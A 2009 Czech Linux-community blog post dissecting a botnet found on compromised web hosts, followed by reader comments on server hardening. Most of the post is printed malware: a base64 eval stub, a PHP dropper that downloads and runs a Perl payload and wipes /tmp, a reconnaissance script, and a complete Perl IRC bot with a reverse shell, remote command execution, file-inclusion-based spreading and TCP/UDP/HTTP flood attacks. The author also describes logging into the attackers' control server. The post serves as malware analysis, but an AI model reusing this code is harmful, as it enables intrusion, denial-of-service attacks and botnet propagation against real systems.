abclinuxu.cz AbcLinuxu.cz itbiz.cz ITBiz.cz HDmag.cz HDmag.cz abcprace.cz AbcPráce.cz
AbcLinuxu hledá autory!
Inzerujte na AbcPráce.cz od 950 Kč
Rozšířené hledání
×
    včera 21:11 | Komunita

    Ubuntu 27.04 bude Tenacious T-Rex.

    Ladislav Hagara | Komentářů: 0
    včera 20:44 | Nová verze

    Byla vydána nová verze 2026.4.0 "Never-slop" svobodného softwaru ScummVM (Wikipedie) umožňujícího bezproblémový běh mnoha klasických adventur na zařízeních, pro které nebyly nikdy určeny. Přehled novinek v poznámkách k vydání a na GitHubu. ScummVM oslavil 25 let. Verze 0.0.1 vyšla 8. října 2001.

    Ladislav Hagara | Komentářů: 0
    včera 17:22 | Humor

    Kanadský vývojář Anthony Sistilli vytvořil ironický DIY projekt parodující kamerové systémy Flock, s cílem názorně demonstrovat rizika masového sledování jaké provozují tyto komerční ALPR systémy. Z levné IP kamery a vlastního ML softwaru (napsaného s pomocí SI circa za 20 minut, kód se mi bohužel nepodařilo dohledat) běžícího v laptopu sestavil jednoduchý systém, který detekuje výhradně policejní vozidla, zaznamenává jejich SPZ a

    … více »
    ❗Červivý Hřib krade❗ | Komentářů: 6
    včera 12:44 | Upozornění

    Část údajů uživatelů internetového supermarketu Rohlík byla odcizena. Kyberútočníci napadli nástroj zákaznické podpory Rohlíku, odcizili tak jména, e-mailové adresy, v některých případech také telefonní čísla nebo přepisy komunikace mezi klienty a zákaznickou podporou. Rohlík incident nahlásil příslušným orgánům a přijal příslušné opatření, aby zamezil podobným případům v budoucnosti, uvedla firma.

    Ladislav Hagara | Komentářů: 15
    včera 11:11 | IT novinky

    Aplikace eDoklady fungovala v obou volebních dnech stabilně a prakticky bez front. Digitální a informační agentura (DIA) odhaduje, že se digitálním dokladem prokázalo více než 100.000 voličů. Aplikaci si před volbami či během nich aktualizovalo 247.517 uživatelů. Nových registrací bylo 19.431 a do aplikace se přihlásilo 357.879 lidí. Největší nápor přišel bezprostředně po otevření volebních místností mezi 14. a 16. hodinou, kdy si

    … více »
    Ladislav Hagara | Komentářů: 8
    včera 00:55 | Pozvánky

    Začal semestr, začal i podzim a kromě hub rostou jako po dešti i veřejné dílny v Praze. Nedávno strahováci referovali o hackerspacu Bordel, nyní se otevřela dílna Dejvice Lab jen kousek od ČVUT. Na blížící Virtuální Bastlírně tak uslyšíte nejen report z návštěvy dílny HWLab, ale i řadu novinek, událostí a úsměvných momentů, které se za poslední měsíc ve světě techniky, ale i vědy udály. Připojte se tedy již v úterý 13.10. od 20:00 a zapojte se do

    … více »
    bkralik | Komentářů: 0
    11.10. 11:33 | Nová verze

    Byl vydán LineageOS 24 (Mastodon). LineageOS (Wikipedie) je svobodný operační systém pro chytré telefony, tablety a set-top boxy založený na Androidu. Jedná se o nástupce CyanogenModu. LineageOS 24 je založený na Androidu 17.

    Ladislav Hagara | Komentářů: 0
    11.10. 03:55 | IT novinky

    Společnost Valve publikovala na svém GitLabu nákresy a schémata zapojení headsetu Steam Frame. Pro nekomerční účely.

    Ladislav Hagara | Komentářů: 1
    10.10. 23:11 | Bezpečnostní upozornění

    Soutěž Pwn2Own Ireland 2026 skončila 9. října. Bezpečnostní výzkumníci získali celkem 1 262 000 dolarů na odměnách. Během soutěže bylo předvedeno zneužití 98 zero-day zranitelností. Testování zahrnovalo různé kategorie zařízení a software. Výzkumníci předváděli prakticky fungující útoky podle pravidel soutěže. Výsledky následně slouží výrobcům při přípravě oprav. Mezi pokořenými jsou: Samsung Galaxy S26, OpenAI Codex, Oracle Autonomous AI Database, Google Pixel 10, u iPhone 17 neuspěli.

    vencour | Komentářů: 1
    9.10. 22:44 | Nová verze

    Programovací jazyk Python byl vydán v nové verzi 3.15.0. Podrobný přehled novinek v aktualizované dokumentaci.

    Ladislav Hagara | Komentářů: 20
    Které desktopové prostředí na Linuxu používáte?
     (9%)
     (7%)
     (4%)
     (21%)
     (29%)
     (8%)
     (5%)
     (2%)
     (14%)
     (20%)
    Celkem 2838 hlasů
     Komentářů: 32, poslední 11.10. 17:02
    Rozcestník

    Trápení webhosterů aneb cizí botnet zevnitř

    27.9.2009 17:07 | Přečteno: 5681× | Linux | poslední úprava: 22.8.2014 19:29

    Jen jeden prstíček do botnetu strčíme...

    Zkoumám takhle php soubor s injectnutým kódem začínajícím asi takhle

    < ?php eval ( b a s e 6 4 _ d e c o d e ( ' a W Y o Z n V u Y 3 R p b 2 5 f Z X h p c 3..........')); ? >
    
    a při té příležitosti jsem našel kopec jiných souborů, které toho o sobě prozradily ještě o něco více. V dalším php souboru se nacházelo include("http://domena.tld/id.txt"). Tento soubor se snaží pomocí volání funkcí system, passthru, exec a shell_exec použít wget, curl, lwp-download, lynx, fetch a GET a poté vlézt do /tmp a uložit tam další soubor v perlu. Soubor se spustí a jeho obsah můžete vidět zde:
    id.txt
    < ?php
    system("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
    system('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
    system('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
    system('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
    system('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
    system('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
    
    passthru("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
    passthru('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
    passthru('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
    passthru('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
    passthru('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
    passthru('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
    
    exec("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
    exec('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
    exec('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
    exec('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
    exec('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
    exec('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
    
    shell_exec("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
    shell_exec('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
    shell_exec('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
    shell_exec('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
    shell_exec('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
    shell_exec('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
    
    system('rm -rf /tmp/*');
    system('rm -rf /tmp/*.txt');
    system('rm -rf /tmp/*.txt*');
    system('rm -rf /tmp/*.txt.*');
    
    
    ? >
    
    
    < ?php
    echo "31337
    "; $alb = @php_uname(); $alb2 = system(uptime); $alb3 = system(id); $alb4 = @getcwd(); $alb5 = getenv("SERVER_SOFTWARE"); $alb6 = phpversion(); $alb7 = $_SERVER['SERVER_NAME']; $alb8 = $_SERVER['SERVER_ADDR']; $alb9 = get_current_user(); $os = @PHP_OS; echo "UNITED #D-Devils By The King Sir|ToTTi
    "; echo "os: $os
    "; echo "uname -a: $alb
    "; echo "uptime: $alb2
    "; echo "id: $alb3
    "; echo "pwd: $alb4
    "; echo "user: $alb9
    "; echo "SoftWare: $alb5
    "; echo "PHPV: $alb6
    "; echo "ServerName: $alb7
    "; echo "ServerAddr: $alb8
    "; $free = disk_free_space($alb4); if ($free === FALSE) {$free = 0;} if ($free < 0) {$free = 0;} echo "Free: ".view_size($free)."
    "; $cmd="id"; $eseguicmd=ex($cmd); echo $eseguicmd; function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } elseif(function_exists('system')){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))){ $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); }} return $res; } function view_size($size) { if (!is_numeric($size)) {return FALSE;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; } } exit; ? >
    IP adresu ovládacího irc serveru jsem smazal. Obsah souboru sela.txt zde:
    #!/usr/bin/perl
    
    use IO::Socket;
    srand;
    my $bPs        = 'httpds /usr/lib/httpd -f /etc/httpd.conf';
    my $aMaster    = 'nix', 'Fugaru';
    my $aHost      = '*@fbi.ro';
    my $sServer    = 'ip-adresa-zde';
    my $sPort      = '6667';
    my $sTimeOut   = '300';
    my $bChan      = '#nixsl3';
    
    my $bNickLen   = '7';
    chomp (my $bNick   = `whoami`);
    chomp (my $bIrcName   = `whoami`);
    chomp (my $bRealName  = `uname -a`);
    my $bDelay     = '2';
    
    open(LOCK, '>/tmp/sess_F3wtx3es3wedxwa213s1x1ws1e32sx2') or die;
    unless(flock(LOCK, 4 | 2)) { die; }
    
    if(fork) { exit; }
    $0 = $bPs;
    
    $SIG{'INT'}  = 'IGNORE';
    $SIG{'HUP'}  = 'IGNORE';
    $SIG{'TERM'} = 'IGNORE';
    $SIG{'CHLD'} = 'IGNORE';
    
    package irc;
    use IO::Select;
    
    our $irc_socket;
    our $irc_select = new IO::Select;
    
    my $cur_nick;
    
    sub raw { print $irc_socket "$_[0]\n"; }
    
    sub mnick {
        my $nick = $_[1];
        my @abc = ('a' .. 'z');
        for(my $i=0;$i<$_[0];$i++) { $nick .= $abc[int(rand($#abc))]; }
        return $nick;
    }
    
    sub init {
        
        my $socket = IO::Socket::INET->new(PeerAddr => $_[3],
                                           PeerPort => $_[4],
                                           Proto    => 'tcp',
                                           Timeout  => '5') or return 0;
        if(defined($socket)) {
            $irc_socket = $socket;
            $irc_select->add($irc_socket);
            $irc_socket->autoflush(1);
            raw("USER ".$_[1]." 0 0 ".$_[2]);
            $cur_nick = $_[0];
            raw("NICK $cur_nick");
            return 1;
        }
        return 0;
    }
    
    sub loop {
        my $time_out = time;
        
        for(;;) {
            my @handles = $irc_select->can_read(1);
            
            if((time - $time_out) > $sTimeOut) { $irc_select->remove($irc_socket); $irc_socket->close(); last; }
            
            next unless(@handles);
            
            foreach my $handle (@handles) {
                my $datain;$handle->recv($datain, 1023, 0);
                my @lines = split(/\r\n/, $datain);
                
                foreach my $line (@lines) {
                    if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
                    elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $bChan"); next; }
                    elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_nick = mnick($bNickLen, $bNick); raw("NICK ".$cur_nick); next; }
                    run::bcmd("$line");
                }
            }
        }
    }
    package run;
    use Socket;
    
    sub bcmd {
        my @line = split(/ /, $_[0]);
        
        my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
        #unless($Nick eq $aMaster) { return; }
        #unless($Mask eq $aHost)   { return; }
        my $Type = shift(@line);
        unless($Type eq "PRIVMSG") { return; }
        
        my $To = shift(@line);
        
        $" = ' '; $line[0] =~ s/://;my $Text = "@line";
        
        if ($Text =~ /^(\Q$cur_nick\E\s+\.|\.)(.+)/) {
            if($2 =~ /^nick\s*(.*)/) {
                if($1) { $cur_nick = $1; }
                else { $cur_nick = irc::mnick($bNickLen, $bNick); }
                irc::raw("NICK $cur_nick");
                return;
            }
            
            if($2 =~ /^bye/) { irc::raw('QUIT :;'); exit; }
            
            
            
            return;
        }
        
        if ($Text =~ /^(\Q$cur_nick\E\s+\!|\!)(.+)/) {
            
            if(!fork) {
    
    	    if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; }            
    
                if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }
                
                if ($2 =~ /^google\s+(\d+)\s+(.+)/) { spread::start($To, $1, $2); exit; }
                
                if ($2 =~ /^tcpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp($To, $1, $2, $3); exit; }
                
                if ($2 =~ /^udpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::udp($To, $1, $2, $3); exit; }
                
                if ($2 =~ /^httpflood\s+(.+)\s+(\d+)/) { flood::http($To, $1, $2); exit; }
                if ($2 =~ /^join (.*)/) {
    	    	j("$1");
    	    }
    	    if ($2 =~ /^part (.*)/) { 
    	    	p("$1");
    	    }
    	    
                exit;
            }
            return;
        }
        
        if($Text =~ /^(\Q$cur_nick\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
        if ($To eq $cur_nick) { if(!fork) { bsh($Nick, $Text); exit; } return; }
    }
    
    sub bsh {
        my $to = $_[0];
        my $cmd = $_[1];
        
        if($cmd =~ /cd (.+)/) { chdir("$1") or irc::raw("PRIVMSG $to :No such file or directory"); return; }
        
        my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
        foreach my $line (@sh_out) { if($line) { irc::raw("PRIVMSG $to :$line"); sleep $bDelay; } }   
    }
    
    sub j { &join(@_); }
    sub join {
    	return unless $#_ == 0;
    		irc::raw("JOIN $_[0]");
    }
    
    sub p { part(@_); }
    sub part {
    	irc::raw("PART $_[0]");
    }
    
    sub rsh {
        irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");
        
        socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
        connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;
            
        open(STDIN, ">&SOCKET");
        open(STDOUT, ">&SOCKET");
        open(STDERR, ">&SOCKET");
            
        print "elxbot's connectback backdoor\n";
        system('/bin/sh');
            
        close(STDIN);
        close(STDOUT);
        close(STDERR);    
    }
    
    package spread;
    
    sub start {
        irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scanning for ".$_[1]."''.");
        
        our $s_time = time;
        my $m_time = $_[1] * 60; #''
        srand;
        
        my $bPath = '/tmp/sess_s4ex4t2c7w1d6ecsw3d1x1wwo521451';
        my $rfi   = '';
        my $bLoc = 't';
        my $cmds  = "wget $BLoc -O $bPath; perl $bPath; rm -f $bPath";
        
        $cmds =~ s/ /%20/g;
        
        while($m_time > (time - $s_time)) {
            my $dup = "";my @urls = google();
            
            foreach my $url (@urls) {
                (my $host, my $tmp_path) = $url =~ /([\w\.\-\w]*)(\/\w*\/?)/;
                my $path = '/'; if($tmp_path =~ /(^\/\w+\/\w+\/$|^\/\w+\/$|^\/$)/) { $path = "$1"; }
                
                if($dup eq $host) { next; } $dup = "$host";
                
                $url = 'http://' . $path . '/components/com_smf/smf.php?mosConfig_absolute_path=' . $rfi . '?';
                
                my $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) or next;
                print $sock "GET $url HTTP/1.1\nHost: $host\nAccept: */*\nConnection: close\n\n";
                $sock->close();
            }
        }
        irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scan finished.");
    }
    
    sub google() {
        
        my $rnd=(int(rand(300)));
        my $n= 80;
        if ($rnd<300) { $rnd=(int(rand(300))); }
        my $msn= (int(rand(10)) * $n);
    
        my @domains = ('ac', 'ad', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao',
                       'aq', 'ar', 'ar', 'as', 'at', 'au', 'aw', 'aw', 'az', 'ba', 'bb',
                       'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo',
                       'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cd',
                       'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop',
                       'cr', 'cs', 'cu', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'dz',
                       'ec', 'edu', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi', 'fi',
                       'fk', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi',
                       'gl', 'gn', 'gob', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu',
                       'gub', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie',
                       'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it',
                       'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp',
                       'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls',
                       'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'mg', 'mh', 'mk',
                       'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'museum',
                       'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net',
                       'nf', 'ng', 'ni', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om',
                       'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr',
                       'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'rj', 'ro', 'ru', 'rw',
                       'sa', 'sb', 'sc', 'sd', 'se', 'se', 'sg', 'sh', 'sj', 'sk', 'sl',
                       'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td',
                       'tf', 'tg', 'th', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw',
                       'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 'vc',
                       've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xxx', 'ye', 'yt', 'yu',
                       'za', 'zm', 'zw');
        
        my @str = ();
        foreach my $dom (@domains) { push (@str,"%22Powered+by+SMF%22+%2Bcom_smf+site%3A".$dom."%20"); }
        
        my $query = 'http://www.altavista.com/web/results?q=';
        $query   .= $str[(rand(scalar(@str)))];
        $query   .= "&stq=$msn";
        
        my @lst=();
        #irc::raw("privmsg #debug :DEBUG only test googling: ".$query.""); 
        my $page = http_query($query);
        
        while ($page =~  m/< a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
            if ($1 !~ m/google|cache|translate/) { push (@lst,$1); }
        }
        return (@lst);
    }
    
    sub http_query {
        
        my $url = $_[0];
        my $host=$url;
        my $query=$url;
        my $page='';
        
        $host =~ s/href=\"?http:\/\///;
        $host =~ s/([\w\.\-\w]*)\/.*/$1/;
        $query =~ s/$host//;
        
        if ($query eq '') {$query='/';};
        eval {
    	    local $SIG{ALRM} = sub { die "1";};
    	    alarm 5;
    	    my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
    	    print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8) Gecko/20051111 Firefox/1.6\r\n\r\n";
    	    my @r = <$sock>;
    	    $page="@r";
    	    alarm 0;
    	    close($sock);
        };
        return $page;
    }
    
    package flood;
    use POSIX;
    use Socket;
    
    our $s_time;
    
    sub tcp {
        irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
        
        $s_time = time;
        my @SOCKET;
        
        while ($_[3] > (time - $s_time)) {
            
            for(my $i=0;$i<200;$i++) {
                socket($SOCKET[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
                fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK());
            }
            
            for(my $i=0;$i<200;$i++) {
                connect($SOCKET[$i], sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
            }
            
            for(my $i=0;$i<200;$i++) {
                close($SOCKET[$i]);
            }
        }
        
        irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Finished.");
    }
    
    sub udp {
        irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
        
        $s_time = time; 
        my $socket;
        my $packets = 0;
        socket($socket, PF_INET, SOCK_DGRAM, 17);
        
        while($_[3] > (time - $s_time)) {
            send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
            $packets++;
        }
        close($socket);
        
        irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Sent ".$packets." packets.");
    }
    
    sub http {
        irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Attacking ".$_[1].":80 for ".$_[2]."'.");
        
        $s_time = time;
        my $querys = 0;
        
        while ($_[2] > (time - $s_time)) {
            my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$_[1], PeerPort=>80);
            print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
            close($socket);
            $querys++;
        }
        
        irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Sent ".$querys." querys.");
    }
    
    while(1) {
        if(irc::init(irc::mnick($bNickLen, $bNick), $bIrcName, $bRealName, $sServer, $sPort))
        {
            irc::loop();
        }
        sleep 10;
    }
    #
    #
    #
    #
    #GET IS A SHITTY FUCKING PROGRAM!
    
    Hostname nešťastníka hostujícího soubor jsem smazal stejně tak jako ip adresy a jména všech serverů v přílohách. Na začátku souboru sela.txt můžete vidět nastavení připojení k irc serveru, tak proč se tam nemrknout? Dál v podstatě není co popisovat. Na server se lze dostat bez problémů, uvítá vás seznam právě připojených zombíků a můžete je ovládat klasickými shellovými příkazy. Moc do hloubky jsem nešel, protože na cizí věci se nesahá a kontaktoval jsem všechny zainteresované strany, tedy kromě pana sušenky. Oběti jsou většinou webhosteři a v seznamu je dokonce jeden nameserver.
    Překlepy typu whoiam prosím ignorujte :-D

           

    Hodnocení: 100 %

            špatné • dobré        

    Obrázky

    Trápení webhosterů aneb cizí botnet zevnitř, obrázek 1 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 2 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 3 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 4 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 5 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 6 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 7 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 8 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 9 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 10

    Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

    Komentáře

    Vložit další komentář

    Genunix avatar 27.9.2009 18:20 Genunix | skóre: 17 | blog: Memdump
    Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
    Funkce system, passthru, exec a shell_exec mám zakázané a na každý VirtualHost mám nastaveno open.basedir přímo na něj + na místo, kde má PHP upload temp. Díky tomu bych měl být v bezpečí :-)
    *´¨`*.¸.·´¨`*.¸.·*´`*·>>>
    H0ax avatar 27.9.2009 18:53 H0ax | skóre: 36 | blog: Odnikud_nikam
    Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
    Používáš-li mysql, jsi si jist, že tvá data nelze číst třeba takto: http://dev.mysql.com/doc/refman/5.1/en/load-data.html ? ;-)
    uid=0(root) gid=0(root) skupiny=0(root)
    27.9.2009 20:08 trekker.dk | skóre: 72
    Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
    Jenom v případě, že už je opravené tohle

    Quando omni flunkus moritati
    Salamek avatar 27.9.2009 19:17 Salamek | skóre: 22 | blog: salamovo
    Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
    hezke :-D
    Skutečně nemám v plánu zničit Microsoft. Bude to jen zcela neúmyslný vedlejší efekt.
    27.9.2009 21:32 12345 | skóre: 41 | blog:
    Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
    PERL posoudit neumím, ale to PHP je pěkný bastl. Někdy mi nedá, abych neobdivoval kvality temné strany, ale tahle ubohá splácanina si zaslouží jen pohrdání. A ovládací server chráněný security by obscurity je taky k smíchu. Nejen, že jsou to zlí crackeři, oni navíc svou práci ani neumí udělat pořádně. IT je zase jedno odvětví, kde se modlou stal cíl a nikoliv cesta k němu.
    27.9.2009 21:56 CEST
    Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř

    Nejsmutnejsi je, jak se ten jeden server ve screenshotu hrde hlasi 2.6.30.4-grsec. Novy jadro, jeste s grsec a je to uplne na hovno.

    27.9.2009 21:58 CEST
    Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř

    A co se tyka cinnosti, asi bych tam zkusil nejak do cronu nebo do nejakyho top level index.php prihodit kod, kterej odesle na pozadi email na ruzny emailovy adresy patrici tomu spravci (root@domain, abuse@domain, info@domain) s textem neco jako "vas server se jmenem XYZ na IP ABC byl hacknut, prosim, zkontrolujte zabezpeceni". A dale bych pak pro jistotu smaznul tu diru, pres kterou se to aktivuje (pokud to neni prolejzani tisicovek php kodu a hledani).

    limit_false avatar 27.9.2009 22:18 limit_false | skóre: 23 | blog: limit_false
    Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř

    Jak jsem psal pred chvili, grsecurity neochrani od chyby aplikace, akorat ji omezi (chrani pred buffer overflow, vylamovani se z chrootu atd.). Je pravda, ze meli zapnout trusted path execution (zabrani spousteni skriptu v /tmp), jenze kdyz je to hosting (tipuju) a uzivatel si udela permanentne writable adresar se skripty, tak nic nezabrani zapisu a spusteni utocnikova skriptu.

    When people want prime order group, give them prime order group.
    limit_false avatar 27.9.2009 22:13 limit_false | skóre: 23 | blog: limit_false
    Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř

    Celkem me prekvapil vzorek stroju - *BSD a Linux s grsecurity. Nejspis jde o prunik pres user-level aplikaci (coz by odpovidalo 'whoami'). Jinak z vypisu 'ps -ef' na grsecurity masine je videt, ze to mozna maj relativne slusne nastaveny - nevidi cizi procesy (zajimalo by mne jestli to crackeri pri prodeji/pronajmu botnetu zminuji ;-)). Pridat jeste trusted path execution a skriptum v /tmp odzvoni.

    When people want prime order group, give them prime order group.
    27.9.2009 23:06 Mrkva | skóre: 22 | blog: urandom
    Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
    TPE NEZABRÁNÍ spuštění skriptu v libovolném adresáři. Spuštění programu možná. Jelikož se skript spouští přes interpretr (kterýžto pravidlům pro spuštění podle TPE vyhovuje), a ten interpretr si sám natáhne data z toho skriptu, skript se vykoná :)))
    We lived, we danced, we raced, we run, from the oblivion to come, Dressed for the last dance of a hundred thousand suns.
    limit_false avatar 27.9.2009 23:58 limit_false | skóre: 23 | blog: limit_false
    Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř

    True. Az ted jsem si vsiml, ze skript je volan "cd /tmp; perl blabla" misto "/tmp/blabla", kde TPE IIRC plati. Holt branit se vlastnim uzivatelum, zamestancum a jinym insiderum je nejtezsi ;-)

    When people want prime order group, give them prime order group.

    Založit nové vlákno • Nahoru

    ISSN 1214-1267   www.czech-server.cz
    © 1999-2015 Nitemedia s. r. o. Všechna práva vyhrazena.